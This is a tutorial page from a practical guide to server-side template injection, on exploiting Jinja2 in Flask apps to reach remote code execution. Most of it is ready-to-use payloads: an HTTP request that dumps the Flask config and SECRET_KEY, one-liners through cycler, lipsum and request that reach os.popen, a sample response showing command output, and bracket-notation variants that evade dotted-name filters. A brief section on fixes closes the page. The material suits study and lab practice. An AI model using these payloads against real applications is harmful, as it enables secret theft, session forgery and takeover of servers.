Server-Side Template Injection (SSTI): The Complete Practical Guide
Exploiting Jinja2 SSTI (Python) to RCE
How to exploit Jinja2 SSTI: dump the Flask config, walk the Python object model, and use the cycler, lipsum, and request one-liners to reach os.popen for RCE.
Published
Jinja2 is the Python template engine behind Flask, and it is the most reliable SSTI-to-RCE target you will meet. Once you confirm Jinja2, you can dump secrets and walk the Python object model to a module that runs commands. This page covers the easy wins and the clean one-liners. Practice on a free live target.
Step 1: confirm Jinja2 and take the easy wins
You identified Jinja2 with the string-multiplication probe returning a repeated string and a {{config}} that renders. Before code execution, grab secrets, because on Flask the config object is right there:
POST /greeting HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
name={{config.items()}}HTTP/1.1 200 OK
Content-Type: text/html
<p>Hello dict_items([('SECRET_KEY', 'b7e1...'), ('SQLALCHEMY_DATABASE_URI', 'postgresql://...'), ...])</p>A leaked SECRET_KEY alone can let you forge session cookies. That is often a serious finding before you touch command execution.
The object-model idea
Jinja2 evaluates Python expressions, so from any object you can reach its class, its class hierarchy, and from there global modules. The textbook (verbose) walk goes from a string literal up to object and across every subclass:
{{ ''.__class__.__mro__[1].__subclasses__() }}That dumps hundreds of classes and you then hunt for a useful one by index. It works but is brittle across Python versions. The modern approach skips it.
Step 2: the clean one-liners
Jinja2 and Flask expose a few globals that already carry a reference to their module's globals, which includes os. Each of these reaches os.popen in one short hop:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ lipsum.__globals__['os'].popen('id').read() }}
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}cycler and lipsum are Jinja2 built-in globals, and request is Flask's request object. __globals__ on any of them exposes the module's namespace, where os lives, and popen(...).read() runs the command and returns its output. Prefer these over the subclasses walk. Note that cycler and lipsum work in any Jinja2 context, while request only exists inside a Flask request, so reach for the first two when you are not sure the target is Flask.
Step 3: run a command and read the output
Put a one-liner in the injectable field and read the result from the response:
POST /greeting HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
name={{lipsum.__globals__['os'].popen('id').read()}}HTTP/1.1 200 OK
Content-Type: text/html
<p>Hello uid=33(www-data) gid=33(www-data) groups=33(www-data)
</p>The output of id is in the greeting. That is Jinja2 SSTI to remote code execution.
When attribute access is filtered
If a filter strips __class__ or dunder names in dotted form, switch to bracket-style attribute lookups, which read identically to the engine but dodge a naive dotted-name blacklist:
{{ ''['__class__']['__mro__'][1]['__subclasses__']() }}
{{ request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']() }}The attr() filter and getattr indirection serve the same purpose against sandboxes, covered in SSTI to RCE and sandbox escape.
Fixing it
- Pass user input as a context variable, never into the template source, so none of these expressions evaluate.
- Use Jinja2's
SandboxedEnvironmentas defense in depth, understanding it is escapable. - Keep
osand dangerous globals out of the template context.
Full guidance is in preventing SSTI. Next, see the PHP side in exploiting Twig and PHP, or pop a Jinja2 shell on a free lab.
← Back to Server-Side Template Injection (SSTI): The Complete Practical Guide